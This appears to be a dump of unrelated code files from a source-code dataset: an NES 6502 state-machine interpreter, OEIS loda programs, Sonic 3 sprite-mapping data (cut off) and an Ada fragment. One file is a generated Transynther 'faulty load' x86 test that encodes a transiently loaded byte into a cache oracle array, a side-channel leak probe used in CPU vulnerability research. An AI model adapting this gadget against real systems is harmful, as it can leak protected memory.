: agar.core.threads.mutex_t; bindings : binding_slist.head_t; menus : menu_slist.head_t; end record; pragma convention (c, widget_private_t); end agar.gui.widget;
state.asm
AleffCorrea/BrickBreaker
4
163977
;State.asm ;Defines a state machine interpreter ;used mostly for non-interactive parts of the game and ;PPU draw scheduling State_Table: .dw _OPC_Halt - 1 .dw _OPC_Error - 1 .dw _OPC_Delay - 1 .dw _OPC_DrawRLE - 1 .dw _OPC_DrawSquare - 1 .dw _OPC_DrawNumber100 - 1 .dw _OPC_DrawString - 1 .dw _OPC_DrawMetatileRow - 1 .dw _OPC_RAMWrite - 1 .dw _OPC_InsertMetasprite - 1 .dw _OPC_ScreenOff - 1 .dw _OPC_ScreenOn - 1 .dw _OPC_DrawRLEBurst - 1 ;1-byte ops that represent a function call ;(I don't remember what OPC stands for :P) OPC_Halt = 0 OPC_Error = 1 OPC_Delay = 2 OPC_DrawRLE = 3 OPC_DrawSquare = 4 OPC_DrawNumber100 = 5 OPC_DrawString = 6 OPC_DrawMetatileRow = 7 OPC_RAMWrite = 8 OPC_InsertMetasprite = 9 OPC_ScreenOff = 10 OPC_ScreenOn = 11 OPC_DrawRLEBurst = 12 OPC_Invalid = 13 ;X, Y = Low/High address for first opcode to be interpreted. State_Interpreter_Init: LDA #TRUE STA <INTERPRETER_STEP STX <INTERPRETER_PC STY <INTERPRETER_PC + 1 DEC16 <INTERPRETER_PC ;Interpreter begins by stepping 1 byte forward LDA #OPC_Halt STA <INTERPRETER_OPC LDA #0 STA <INTERPRETER_CPU STA <INTERPRETER_PPU STA <INT_SP1 STA <INT_R1 STA <INT_R2 STA <INT_R3 STA <INT_R4 RTS State_Interpreter: LDA <INTERPRETER_PC + 1 CMP #$80 BCC .Invalid_ProgCounter ;Outside ROM space, throw error immediately! LDA INTERPRETER_STEP CMP #TRUE BNE .run .step INC16 <INTERPRETER_PC ;Moves program counter one byte forward LDY #0 LDA [INTERPRETER_PC], y ;Loads opcode CMP #OPC_Invalid BCS .Invalid_Opcode ;Throws error if opcode doesn't exist. STA <INTERPRETER_OPC ;Stores loaded opcode LDA #FALSE STA <INTERPRETER_STEP ;Prevents PC from stepping until opcode subroutine is done. STY <INT_R1 ;Resets Reg #1 to 0 .run LDA <INTERPRETER_OPC JSI State_Table ;Indirect JSR to opcode's routine. RTS .Invalid_ProgCounter .Invalid_Opcode LDA #OPC_Error JSI State_Table RTS ;Steps PC by 1 and loads byte into A ;Intended to be used to load arguments. ;Trashes Y. .macro LPC .if (\# > 1) .fail .endif LDY #0 INC <INTERPRETER_PC BNE .noOverflow\@ INC <INTERPRETER_PC + 1 .noOverflow\@: LDA [INTERPRETER_PC], y ;Loads argument byte .exit\@: .endm ;Does nothing for now. Todo: halt and make game go to an error/debug state. _OPC_Error: LDA #FALSE STA <INTERPRETER_STEP RTS ;Does nothing and prevents interpreter from moving forward. ;Arguments = 0 bytes. _OPC_Halt: LDA #FALSE STA <INTERPRETER_STEP RTS ;Sends a command into the PPU Queue to turn it off. ;Arguments = 0 bytes. _OPC_ScreenOff: JSR PPU_Queue1_Capacity CMP #1 BCC .fail LDA #PPU_VIDEO_OFF JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail RTS ;Sends a command into the PPU Queue to turn it on. ;Arguments = 0 bytes. _OPC_ScreenOn: JSR PPU_Queue1_Capacity CMP #1 BCC .fail LDA #PPU_VIDEO_ON JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail RTS ;Waits for a number of frames before proceeding to next opcode. ;Arguments = 1 bytes (no. of frames) ;R1 = setup done 0 = no; 1 = yes ;R2 = timer ;R3 = timer limit _OPC_Delay: LDA <INT_R1 BNE .tick .1stTimeSetup LDY #0 STY <INT_R2 ;Resets timer INY STY <INT_R1 LPC ;Steps and loads argument into A STA <INT_R3 .tick TCK <INT_R2 LDA <INT_R2 CMP <INT_R3 BCC .exit JSR Interpreter_AllowStep .exit RTS ;RAM Address to save index #, MSP #, X, Y _OPC_InsertMetasprite: LPC STA <INT_R1 LPC STA <INT_R2 LPC PHA LPC TAX LPC TAY PLA JSR ObjectList_Insert LDY #0 TXA STA [INT_R1], y JSR Interpreter_AllowStep RTS ;Writes value to RAM. ;RAM Address, Value _OPC_RAMWrite: LPC STA <INT_R1 LPC STA <INT_R2 LPC LDY #0 STA [INT_R1], y JSR Interpreter_AllowStep RTS ;Schedules a metatile row draw. ;PPU Address, Metatile Address, Row Size _OPC_DrawMetatileRow: JSR PPU_Queue1_Capacity CMP #6 BCC .fail ;Needs at least 6 slots to work LDA #PPU_METATILEROW JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail RTS ;Schedules a string draw. ;PPU address, String address (4bytes) _OPC_DrawString: JSR PPU_Queue1_Capacity CMP #5 BCC .fail ;Needs at least 5 slots to work LDA #PPU_DRAWSTRING JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail RTS ;PPU Address, Number Address (1byte) _OPC_DrawNumber100: JSR PPU_Queue1_Capacity CMP #5 BCC .fail ;Needs at least 5 slots to work LDA #PPU_NUMBER_100 JSR PPU_Queue1_Insert ;PPU address LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC STA <INT_R1 LPC STA <INT_R2 LDY #0 LDA [INT_R1], y JSR Base100ToDecimal LDA <TEMP_BYTE JSR PPU_Queue1_Insert LDA <TEMP_BYTE + 1 JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail RTS ;Set a PPU RLE write to be done during VBlank (NMI interrupt) ;Arguments: 4 bytes (PPU Target, CPU source) _OPC_DrawRLE: JSR PPU_Queue1_Capacity CMP #5 BCC .fail ;Needs at least 4 slots to work ;PPU Interrupt command LDA #PPU_RLE JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert ;CPU address LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail ;If PPU queue lacks space for our command, try again next frame RTS ;ACTIVATE ONLY AFTER RUNNING OPC_ScreenOff!!!!!! ;Set a PPU RLE write to be done in a single frame, during PPU BURST. ;Arguments: 4 bytes (PPU Target, CPU source) _OPC_DrawRLEBurst: JSR PPU_Queue1_Capacity CMP #5 BCC .fail ;Needs at least 4 slots to work ;PPU Interrupt command LDA #PPU_RLE_BURST JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert ;CPU address LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert JSR Interpreter_AllowStep .fail ;If PPU queue lacks space for our command, try again next frame RTS ;Set a PPU RLE write to be done during VBlank (NMI interrupt) ;Arguments: 5 bytes (Tile #, Width, Height, PPUAddr) _OPC_DrawSquare: JSR PPU_Queue1_Capacity CMP #6 BCC .fail ;Needs at least two slots to work LDA #PPU_SQREPEAT JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert ;Tile # LPC JSR PPU_Queue1_Insert ;Length LPC JSR PPU_Queue1_Insert ;Height LPC JSR PPU_Queue1_Insert LPC JSR PPU_Queue1_Insert ;Pointer to PPU JSR Interpreter_AllowStep .fail ;If PPU queue lacks space for our command, try again next frame RTS Interpreter_AllowStep: LDA #TRUE STA <INTERPRETER_STEP RTS ;Pushes arguments starting at PC + 1 into stack ;X = # of args following opcode Interpreter_PushArgs: STX <INT_R1 LDX #0 LDY #0 .loop LPC JSR Interpreter_Push INX CPX <INT_R1 BNE .loop RTS ;A = value to be pushed to soft. stack 1 Interpreter_Push: LDY <INT_SP1 CPY #INTERPRETER_STACK_MAX ;Is the stack full? (ie have we crossed the STACK_MAX - 1?) BCS .StackOverflow STA INTERPRETER_STACK, y INC <INT_SP1 RTS .StackOverflow: RTS ;Output: A = value on top of stack ;Stack pointer is decreased (the top is "removed") Interpreter_Pop: LDY <INT_SP1 BEQ .StackUnderflow ;Stack empty (ie next empty position = 0) DEC <INT_SP1 DEY LDA INTERPRETER_STACK, y .StackUnderflow: RTS ;Output: A = value on top of stack ;No changes to the stack are done. Interpreter_Peek: LDY <INT_SP1 BEQ .StackUnderflow ;Stack empty, no value to peek at. DEY LDA INTERPRETER_STACK, y ;Loads top of stack into A .StackUnderflow: RTS
Transynther/x86/_processed/NONE/_zr_/i3-7100_9_0x84_notsx.log_45_631.asm
ljhsiun2/medusa
9
241267
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x1d96, %rcx sub %rdx, %rdx mov (%rcx), %eax nop nop cmp $19683, %rdx lea addresses_normal_ht+0x3112, %rsi lea addresses_WC_ht+0xce94, %rdi nop nop nop nop nop cmp $19947, %r14 mov $39, %rcx rep movsb nop xor %rcx, %rcx lea addresses_WT_ht+0xb696, %rdx nop nop nop nop add $62514, %r12 mov (%rdx), %rsi nop nop nop nop inc %rdi lea addresses_UC_ht+0x17d96, %rsi lea addresses_WC_ht+0x65d6, %rdi nop cmp $38417, %rdx mov $26, %rcx rep movsl nop add $34739, %rdi lea addresses_WC_ht+0x1634e, %r14 sub %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm7 and $0xffffffffffffffc0, %r14 movaps %xmm7, (%r14) cmp $44666, %rdi pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %r15 push %rbx push %rcx push %rdi push %rsi // Store lea addresses_WT+0x12796, %rdi nop nop nop sub $4764, %r14 movw $0x5152, (%rdi) nop lfence // Store lea addresses_normal+0xb53, %r11 nop nop nop nop xor %r12, %r12 movl $0x51525354, (%r11) nop nop nop sub $10894, %r14 // Store lea addresses_PSE+0x1d896, %r12 nop nop nop nop cmp %r13, %r13 mov $0x5152535455565758, %rdi movq %rdi, (%r12) nop nop xor $60456, %rdi // REPMOV mov $0x4064c000000031e, %rsi lea addresses_normal+0x1e96, %rdi clflush (%rdi) nop xor %r14, %r14 mov $78, %rcx rep movsb nop and %r14, %r14 // Load lea addresses_RW+0xb442, %rdi xor %rsi, %rsi vmovups (%rdi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rcx nop nop nop nop and %rsi, %rsi // Faulty Load lea addresses_normal+0x1e96, %r15 nop nop cmp %r14, %r14 mov (%r15), %di lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r15 pop %r14 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_NC', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'00': 45} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
oeis/005/A005061.asm
neoneye/loda-programs
11
173201
; A005061: a(n) = 4^n - 3^n. ; 0,1,7,37,175,781,3367,14197,58975,242461,989527,4017157,16245775,65514541,263652487,1059392917,4251920575,17050729021,68332056247,273715645477,1096024843375,4387586157901,17560804984807,70274600998837,281192547174175,1125052618233181,4501057761542167,18006772911996997,72034717245472975,288161745774346861,1152715613474752327,4611068345031103957,18444891053520699775,73781417234271650941,295131227997653159287,1180541589172312303717,4722216388234348214575,18889015647572689857421 mov $1,4 pow $1,$0 mov $2,3 pow $2,$0 sub $1,$2 mov $0,$1
oeis/284/A284458.asm
neoneye/loda-programs
11
28634
<reponame>neoneye/loda-programs ; A284458: Number of pairs (f,g) of endofunctions on [n] such that the composite function gf has no fixed point. ; Submitted by <NAME> ; 1,0,2,156,16920,2764880,650696400,210105425628,89425255439744,48588905856409920,32845298636854828800,27047610425293718239100,26664178085975252011318272,31009985808408471580603417296,42017027730087624384021945067520,65618911142809749231767185516069500,117017464624988689294175423914183065600,236334120702001079587702340944895907054848,536666971925974613174412444253349328863821824,1361381772759101889006519305978348899589569376220,3835635877028445450927850964444994575579123056640000 mov $2,1 mov $3,$0 lpb $3 mul $1,$3 mul $2,$0 sub $1,$2 mul $2,$0 add $2,$1 sub $3,1 lpe mov $0,$2
Working Disassembly/Levels/MHZ/Misc Object Data/Map - Miniboss.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
166233
Map_186168: dc.w word_1861A2-Map_186168 dc.w word_18623A-Map_186168 dc.w word_1862D2-Map_186168 dc.w word_18636A-Map_186168 dc.w word_186402-Map_186168 dc.w word_18646A-Map_186168 dc.w word_1864D2-Map_186168 dc.w word_18653A-Map_186168 dc.w word_18659C-Map_186168 dc.w word_1865FE-Map_186168 dc.w word_18664E-Map_186168 dc.w word_18669E-Map_186168 dc.w word_1866EE-Map_186168 dc.w word_18673E-Map_186168 dc.w word_186782-Map_186168 dc.w word_1867D2-Map_186168 dc.w word_186810-Map_186168 dc.w word_186854-Map_186168 dc.w word_186898-Map_186168 dc.w word_1868DC-Map_186168 dc.w word_18691A-Map_186168 dc.w word_18698E-Map_186168 dc.w word_186A14-Map_186168 dc.w word_186A1C-Map_186168 dc.w word_186A2A-Map_186168 dc.w word_186A3E-Map_186168 dc.w word_186A52-Map_186168 dc.w word_186A66-Map_186168 dc.w word_186A7A-Map_186168 word_1861A2: dc.w $19 dc.b $18, 4, 0, $6F, 0, 2 dc.b $20, 9, 0, $71, $FF, $FA dc.b $F8, $A, 0, $4C, 0, 2 dc.b 8, 4, 0, $55, 0, $A dc.b $10, 9, 0, $57, 0, 2 dc.b 8, 5, 0, $63, 0, $A dc.b $F0, 1, 0, $D4, $FF, $FB dc.b $F0, 5, 0, $CE, $FF, $F2 dc.b $F0, 5, 0, $CA, $FF, $F2 dc.b $E8, 4, 0, $D8, $FF, $F2 dc.b $E8, $F, 0, $11, $FF, $F4 dc.b $F0, 2, 0, $21, $FF, $EC dc.b 8, 1, 0, $24, $FF, $EC dc.b 8, $D, 0, $26, $FF, $F4 dc.b $18, 4, 0, $67, $FF, $E2 dc.b $20, 9, 0, $69, $FF, $DA dc.b $F8, $A, 0, $4C, $FF, $E2 dc.b 8, 4, 0, $55, $FF, $EA dc.b $10, 9, 0, $57, $FF, $E2 dc.b 8, 5, 0, $63, $FF, $EA dc.b $10, $B, 0, $8D, $FF, $CA dc.b $30, 9, 0, $99, $FF, $CA dc.b $26, 0, 0, $77, $FF, $F2 dc.b $26, 0, 0, $77, 0, $12 dc.b 0, 5, 0, $DA, 0, 3 word_18623A: dc.w $19 dc.b $19, 4, 0, $6F, 0, 2 dc.b $21, 9, 0, $71, $FF, $FA dc.b $F8, $A, 0, $4C, 0, 2 dc.b 9, 4, 0, $55, 0, $A dc.b $11, 9, 0, $57, 0, 2 dc.b 9, 5, 0, $63, 0, $A dc.b $F0, 1, 0, $D4, $FF, $FB dc.b $F0, 5, 0, $CE, $FF, $F2 dc.b $F0, 5, 0, $CA, $FF, $F2 dc.b $E8, 4, 0, $D8, $FF, $F2 dc.b $E8, $F, 0, $11, $FF, $F4 dc.b $F0, 2, 0, $21, $FF, $EC dc.b 8, 1, 0, $24, $FF, $EC dc.b 8, $D, 0, $26, $FF, $F4 dc.b $19, 4, 0, $67, $FF, $E2 dc.b $21, 9, 0, $69, $FF, $DA dc.b $F8, $A, 0, $4C, $FF, $E2 dc.b 9, 4, 0, $55, $FF, $EA dc.b $11, 9, 0, $57, $FF, $E2 dc.b 9, 5, 0, $63, $FF, $EA dc.b $11, $B, 0, $8D, $FF, $CA dc.b $31, 9, 0, $99, $FF, $CA dc.b $27, 0, 0, $77, $FF, $F2 dc.b $27, 0, 0, $77, 0, $12 dc.b 0, 5, 0, $DA, 0, 3 word_1862D2: dc.w $19 dc.b $1A, 4, 0, $6F, 0, 2 dc.b $22, 9, 0, $71, $FF, $FA dc.b $F8, $A, 0, $4C, 0, 2 dc.b $A, 4, 0, $55, 0, $A dc.b $12, 9, 0, $57, 0, 2 dc.b 9, 5, 0, $63, 0, $A dc.b $F0, 1, 0, $D4, $FF, $FB dc.b $F0, 5, 0, $CE, $FF, $F2 dc.b $F0, 5, 0, $CA, $FF, $F2 dc.b $E8, 4, 0, $D8, $FF, $F2 dc.b $E8, $F, 0, $11, $FF, $F4 dc.b $F0, 2, 0, $21, $FF, $EC dc.b 8, 1, 0, $24, $FF, $EC dc.b 8, $D, 0, $26, $FF, $F4 dc.b $1A, 4, 0, $67, $FF, $E2 dc.b $22, 9, 0, $69, $FF, $DA dc.b $F8, $A, 0, $4C, $FF, $E2 dc.b $A, 4, 0, $55, $FF, $EA dc.b $12, 9, 0, $57, $FF, $E2 dc.b 9, 5, 0, $63, $FF, $EA dc.b $12, $B, 0, $8D, $FF, $CA dc.b $32, 9, 0, $99, $FF, $CA dc.b $28, 0, 0, $77, $FF, $F2 dc.b $28, 0, 0, $77, 0, $12 dc.b 0, 5, 0, $DA, 0, 3 word_18636A: dc.w $19 dc.b $1B, 4, 0, $6F, 0, 2 dc.b $23, 9, 0, $71, $FF, $FA dc.b $F8, $A, 0, $4C, 0, 2 dc.b $B, 4, 0, $55, 0, $A dc.b $13, 9, 0, $57, 0, 2 dc.b 9, 5, 0, $63, 0, $A dc.b $F0, 1, 0, $D4, $FF, $FB dc.b $F0, 5, 0, $CE, $FF, $F2 dc.b $F0, 5, 0, $CA, $FF, $F2 dc.b $E8, 4, 0, $D8, $FF, $F2 dc.b $E8, $F, 0, $11, $FF, $F4 dc.b $F0, 2, 0, $21, $FF, $EC dc.b 8, 1, 0, $24, $FF, $EC dc.b 8, $D, 0, $26, $FF, $F4 dc.b $1B, 4, 0, $67, $FF, $E2 dc.b $23, 9, 0, $69, $FF, $DA dc.b $F8, $A, 0, $4C, $FF, $E2 dc.b $B, 4, 0, $55, $FF, $EA dc.b $13, 9, 0, $57, $FF, $E2 dc.b 9, 5, 0, $63, $FF, $EA dc.b $13, $B, 0, $8D, $FF, $CA dc.b $33, 9, 0, $99, $FF, $CA dc.b $29, 0, 0, $77, $FF, $F2 dc.b $29, 0, 0, $77, 0, $12 dc.b 0, 5, 0, $DA, 0, 3 word_186402: dc.w $11 dc.b $F0, 8, 0, $82, 0, 0 dc.b $F8, $D, 0, $85, 0, 0 dc.b $F0, 5, 0, $78, $FF, $F0 dc.b 0, 9, 0, $7C, $FF, $E8 dc.b $E0, $E, 0, $E3, $FF, $B8 dc.b $F8, 8, 0, $EF, $FF, $C0 dc.b $F0, 0, 0, $E2, $FF, $D8 dc.b $F1, 0, 0, $E2, $FF, $E0 dc.b $F2, 0, 0, $E2, $FF, $E8 dc.b $E8, 5, 0, $BC, 0, 3 dc.b $FC, 0, 0, $C8, 0, $B dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, $FF, $F7 word_18646A: dc.w $11 dc.b $F0, 8, 0, $82, 0, 0 dc.b $F8, $D, 0, $85, 0, 0 dc.b $F0, 5, 0, $78, $FF, $F0 dc.b 0, 9, 0, $7C, $FF, $E8 dc.b $E0, $E, 0, $E3, $FF, $B8 dc.b $F8, 8, 0, $EF, $FF, $C0 dc.b $F0, 0, 0, $E2, $FF, $D8 dc.b $F1, 0, 0, $E2, $FF, $E0 dc.b $F2, 0, 0, $E2, $FF, $E8 dc.b $E8, 5, 0, $BC, 0, 3 dc.b $F8, 0, 0, $C8, 0, $11 dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b 0, 5, 0, $DE, $FF, $ED dc.b 0, 5, 0, $DE, $FF, $F4 word_1864D2: dc.w $11 dc.b $F0, 8, 0, $82, 0, 0 dc.b $F8, $D, 0, $85, 0, 0 dc.b $F0, 5, 0, $78, $FF, $F0 dc.b 0, 9, 0, $7C, $FF, $E8 dc.b $E0, $E, 0, $E3, $FF, $B8 dc.b $F8, 8, 0, $EF, $FF, $C0 dc.b $F0, 0, 0, $E2, $FF, $D8 dc.b $F1, 0, 0, $E2, $FF, $E0 dc.b $F2, 0, 0, $E2, $FF, $E8 dc.b $E8, 5, 0, $C4, 0, 3 dc.b $FC, 0, 0, $C8, 0, $B dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, $FF, $F7 word_18653A: dc.w $10 dc.b $F3, 8, 0, $82, 0, 8 dc.b $FB, $D, 0, $85, 0, 8 dc.b $F3, 5, 0, $78, $FF, $F8 dc.b 3, 9, 0, $7C, $FF, $F0 dc.b $E8, 5, 0, $BC, 0, 3 dc.b $F8, 0, 0, $C8, 0, $11 dc.b $E5, $E, 0, $E3, $FF, $C8 dc.b $FD, 8, 0, $EF, $FF, $D0 dc.b $F5, 0, 0, $E2, $FF, $E8 dc.b $F6, 0, 0, $E2, $FF, $F0 dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, $FF, $F7 word_18659C: dc.w $10 dc.b $F3, 8, 0, $82, $FF, $FF dc.b $FB, $D, 0, $85, $FF, $FF dc.b $F3, 5, 0, $78, $FF, $EF dc.b 3, 9, 0, $7C, $FF, $E7 dc.b $E8, 5, 0, $C4, $FF, $FA dc.b $F8, 0, 0, $C8, 0, 8 dc.b $E5, $E, 0, $E3, $FF, $BF dc.b $FD, 8, 0, $EF, $FF, $C7 dc.b $F5, 0, 0, $E2, $FF, $DF dc.b $F6, 0, 0, $E2, $FF, $E7 dc.b $E8, $E, 0, $2E, $FF, $DF dc.b $F0, 5, 0, $3A, $FF, $FF dc.b 0, 1, 0, $3E, $FF, $E7 dc.b 0, $E, 0, $40, $FF, $EF dc.b 0, 5, 0, $DA, $FF, $E7 dc.b 0, 5, 0, $DA, $FF, $EE word_1865FE: dc.w $D dc.b $E8, $E, 0, $E3, $FF, $E8 dc.b 0, 8, 0, $EF, $FF, $F0 dc.b $F8, 0, 0, $E2, 0, 8 dc.b $F8, 5, 0, $78, 0, $10 dc.b 8, 9, 0, $7C, 0, 8 dc.b $E8, 5, 0, $BC, 0, 3 dc.b $F8, 0, 0, $C8, 0, $11 dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, $FF, $F7 word_18664E: dc.w $D dc.b $E8, $E, 0, $E3, $FF, $DF dc.b 0, 8, 0, $EF, $FF, $E7 dc.b $F8, 0, 0, $E2, $FF, $FF dc.b $F8, 5, 0, $78, 0, 7 dc.b 8, 9, 0, $7C, $FF, $FF dc.b $E8, 5, 0, $C4, $FF, $FA dc.b $F8, 0, 0, $C8, 0, 8 dc.b $E8, $E, 0, $2E, $FF, $DF dc.b $F0, 5, 0, $3A, $FF, $FF dc.b 0, 1, 0, $3E, $FF, $E7 dc.b 0, $E, 0, $40, $FF, $EF dc.b 0, 5, 0, $DA, $FF, $E7 dc.b 0, 5, 0, $DA, $FF, $EE word_18669E: dc.w $D dc.b $F8, $A, 0, $4C, 0, 8 dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, 0, 3 dc.b $E8, $B, 0, 0, $FF, $E8 dc.b 8, 8, 0, $C, $FF, $E8 dc.b $10, 4, 0, $F, $FF, $F0 dc.b $E8, $B, 8, 0, 0, 0 dc.b 8, 8, 8, $C, 0, 0 dc.b $10, 4, 8, $F, 0, 0 dc.b $F8, $A, 0, $4C, $FF, $E4 dc.b $FE, $A, 0, $AD, 0, 0 dc.b 6, 9, 0, $B6, 0, $18 dc.b $EB, 0, 0, $C9, $FF, $FC word_1866EE: dc.w $D dc.b $F7, $A, 0, $4C, 0, 8 dc.b $FF, 5, 0, $DA, $FF, $F0 dc.b $FF, 5, 0, $DA, 0, 3 dc.b $E7, $B, 0, 0, $FF, $E8 dc.b 7, 8, 0, $C, $FF, $E8 dc.b $F, 4, 0, $F, $FF, $F0 dc.b $E7, $B, 8, 0, 0, 0 dc.b 7, 8, 8, $C, 0, 0 dc.b $F, 4, 8, $F, 0, 0 dc.b $F7, $A, 0, $4C, $FF, $E4 dc.b $FD, $A, 0, $AD, 0, 0 dc.b 5, 9, 0, $B6, 0, $18 dc.b $EA, 0, 0, $C9, $FF, $FC word_18673E: dc.w $B dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, 0, 3 dc.b $E8, $B, 0, 0, $FF, $E8 dc.b 8, 8, 0, $C, $FF, $E8 dc.b $10, 4, 0, $F, $FF, $F0 dc.b $E8, $B, 8, 0, 0, 0 dc.b 8, 8, 8, $C, 0, 0 dc.b $10, 4, 8, $F, 0, 0 dc.b $F8, $A, 0, $4C, $FF, $E0 dc.b $F8, $A, 8, $4C, 0, 8 dc.b $EB, 0, 0, $C9, $FF, $FC word_186782: dc.w $D dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, 0, 3 dc.b $E8, $B, 0, 0, $FF, $E8 dc.b 8, 8, 0, $C, $FF, $E8 dc.b $10, 4, 0, $F, $FF, $F0 dc.b $E8, $B, 8, 0, 0, 0 dc.b 8, 8, 8, $C, 0, 0 dc.b $10, 4, 8, $F, 0, 0 dc.b $F8, $A, 0, $4C, $FF, $E0 dc.b $F8, $A, 8, $4C, 0, 8 dc.b $FE, $A, 0, $AD, 0, 0 dc.b 6, 9, 0, $B6, 0, $18 dc.b $EB, 0, 0, $C9, $FF, $FC word_1867D2: dc.w $A dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, 0, 3 dc.b $E8, $B, 0, 0, $FF, $E8 dc.b 8, 8, 0, $C, $FF, $E8 dc.b $10, 4, 0, $F, $FF, $F0 dc.b $E8, $B, 8, 0, 0, 0 dc.b 8, 8, 8, $C, 0, 0 dc.b $10, 4, 8, $F, 0, 0 dc.b $F8, $A, 0, $4C, $FF, $E0 dc.b $F8, $A, 8, $4C, 0, 8 word_186810: dc.w $B dc.b $F8, $A, 0, $4C, 0, 8 dc.b $E8, 5, 0, $BC, 0, 3 dc.b $F8, 0, 0, $C8, 0, $11 dc.b $E8, $E, 0, $2E, $FF, $E8 dc.b $F0, 5, 0, $3A, 0, 8 dc.b 0, 1, 0, $3E, $FF, $F0 dc.b 0, $E, 0, $40, $FF, $F8 dc.b $FE, $A, 0, $AD, 0, $D dc.b 6, 9, 0, $B6, 0, $1F dc.b 0, 5, 0, $DA, $FF, $F0 dc.b 0, 5, 0, $DA, $FF, $F7 word_186854: dc.w $B dc.b $F8, $A, 0, $4C, $FF, $F8 dc.b 0, 5, 0, $63, $FF, $FF dc.b $E8, 5, 0, $C0, $FF, $FB dc.b $E8, $E, 0, $2E, $FF, $E0 dc.b $F0, 5, 0, $3A, 0, 0 dc.b 0, 1, 0, $3E, $FF, $E8 dc.b 0, $E, 0, $40, $FF, $F0 dc.b $FE, $A, 0, $AD, 0, 6 dc.b 6, 9, 0, $B6, 0, $1E dc.b 0, 5, 0, $DA, $FF, $E8 dc.b 0, 5, 0, $DA, $FF, $EF word_186898: dc.w $B dc.b $F8, $A, 0, $4C, 